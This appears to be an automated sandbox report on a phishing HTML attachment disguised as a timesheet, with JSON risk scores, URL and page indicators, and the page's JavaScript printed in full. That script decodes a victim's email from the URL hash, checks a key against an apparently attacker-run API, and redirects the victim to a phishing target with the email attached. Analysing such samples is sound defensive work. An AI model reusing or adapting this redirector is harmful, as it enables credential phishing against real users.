Windows Analysis Report
Timesheet ACH-Tbconsulting.November 16, 2024.html

{
    "risk_score": 7,
    "reasoning": "The script demonstrates several high-risk behaviors, including data exfiltration, dynamic code execution, and interaction with suspicious domains. While some of the functionality may be legitimate, the overall implementation raises significant security concerns."
}

        function javascriptCallback() {
        var hashValue = window.location.hash.substr(1);
        var hash2 = hashValue.split("#")[1];
        // console.log(hash2[1]);

        const urlParams = new URLSearchParams(hashValue);
        const name = urlParams.get('service');

        

        // Decode the Base64-encoded value
        var decodedValue = atob(name);
        console.log(decodedValue);
        var parts = decodedValue.split("&");
    
        
        var mails = parts[0];
        var mails2 = atob(mails);
        console.log(mails2);
        
        var key = parts[1];
        var display = parts[2];

        var form = new FormData();
        // form.append("subs", `${mails}&${key}`);

        // var settings = {
        //   url: "https://arab-oil.online",
        //   method: "GET",
        //   timeout: 0,
        //   headers: {
        //     Cookie:
        //       "XSRF-TOKEN=eyJpdiI6IlpiamxlYlM5dldGVzNzNG9KUGZieVE9PSIsInZhbHVlIjoiTldmM0hJYnlmN3Y0d1FSUjJ2WE9INWFhUi9IMFJLeDUxZWp0L0tVWFFqK3V6dHdKS08wQkJIQUpnNWo3eVFTOXFOOHV5ZmdxRXAxMkl0WVZrSGdRb1JoOWVsM2NCUVlLSkhkQVNHY0VYS0g4T1gxWnorT0RyVnByOWoxcWlaRm4iLCJtYWMiOiI0NzU4YTdiNWFhYWUyZjEyYzU0OWEyZjAyNjU1Y2YwZjE5NzEzOWVkMzhjZGVmNzg1MmZiMjU5YTA5N2IwYzNkIn0%3D; laravel_session=eyJpdiI6Im43cHVMbGJBL1JpMjl1cU5rQ1JpYnc9PSIsInZhbHVlIjoiekkzRlNmZ25kR1dxU3JxYnFucGUrcW1MdS9CaXFwM3pqNitXNjBFQ2lyT1pTeDQ3WWtwUXBXMVlyelVHaVlncGFXR3d6Zm5VTWMxbUthSkdUVkZSMFB3M29uQUNqZzB6QWZ1V1RXb3BiMnoyZms3NkpxWXFnbjlsZVJsaE1kTTgiLCJtYWMiOiJiMDdkOTlmMmVlNTFjZjE4YjJmZWNmNjcwMjliMjg2ZmYzZTdmMzE0ZWFhODczZjdiZTg2ODRjZjE4N2RhOTU2In0%3D",
        //   },
        //   processData: false,
        //   mimeType: "multipart/form-data",
        //   contentType: false,
        //   data: form,
        // };

        var settings = {
  "url": `https://natrium100gram.site/public/api/validate_key/${key}`,
  "method": "GET",
  "timeout": 0,
  "processData": false,
  "mimeType": "multipart/form-data",
  "contentType": false,
  "data": form
};

        $.ajax(settings).done(function (response) {
          var res = JSON.parse(response);
          console.log(res);
          var next = res.optional_url ? res.optional_url : "";

          if (res.url_target == undefined) {
            console.log("undefined");
            location.reload();
          }else{


            if (display == "a") {

              console.log(mails2);
              
            window.location.replace(res.url_target + mails2 + next);
          } else {
            window.location.replace(res.url_target + mails + next);
          }
          }

        
        }).fail(function(error){

            if (error.status == 401) {

              document.body.removeAttribute('style');
              document.getElementById("mm").innerHTML = "";
              document.getElementById("mm").innerHTML = "Expired API || contact your support ! ";
            }
            
            console.log(error.status);
        });
        

        }

        setTimeout(() => {
          javascriptCallback()
        }, 1000);
        
        
      // });
    

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://proposal-5ye.pages.dev

{
  "contains_trigger_text": true,
  "trigger_text": "Expired API | contact your support !",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}